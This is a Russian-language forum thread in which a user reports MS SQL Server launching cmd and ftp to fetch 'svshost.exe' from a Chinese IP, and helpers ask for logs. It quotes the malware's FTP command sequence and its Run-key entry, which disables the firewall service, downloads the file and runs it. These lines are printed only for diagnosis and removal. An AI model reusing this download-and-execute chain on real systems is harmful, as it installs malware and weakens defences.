mssql сервер стучится по ftp на какой-то китайски ip

[mitiya]

недавно случайно увидел в процессах, что sqlservr.exe открыл cmd, а тот в свою очередь ftp со следующим валом команд


open 1.93.45.141
12345
12345
binary
get svshost.exe
bye


ip этот это какой-то сервер в Китае. причем там тоже стоит 2003 и даже можно попробовать подключиться по rdp.
так же там на 83 порту висит hfs. А вот ftp тут нет.
Пока не знаю что со всем этим делать.

Вопрос как sql сервер может запустить cmd? это можно сделать командой в sql ? или тут скорей всего через уязвимость ?

Ну и самый главный вопрос. Где мне искать зловреда?

[iskander-k]

Выложите логи в соответствии с этими (http://forum.oszone.net/post-717373.html) инструкциями.

[mitiya]

вот логи

[thyrex]

Пофиксите в HiJack
O4 - HKLM\..\Run: [shell] c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 1.93.45.141 > cmd.txt&echo 12345>> cmd.txt&echo 12345>> cmd.txt&echo binary >> cmd.txt&echo get svshost.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&svshost.exe&svshost.exe&dСделайте новый лог RSIT

[mitiya]

это я уже сделал. но вопрос от куда, и почему в процессах cmd был запущен от sqlservr.exe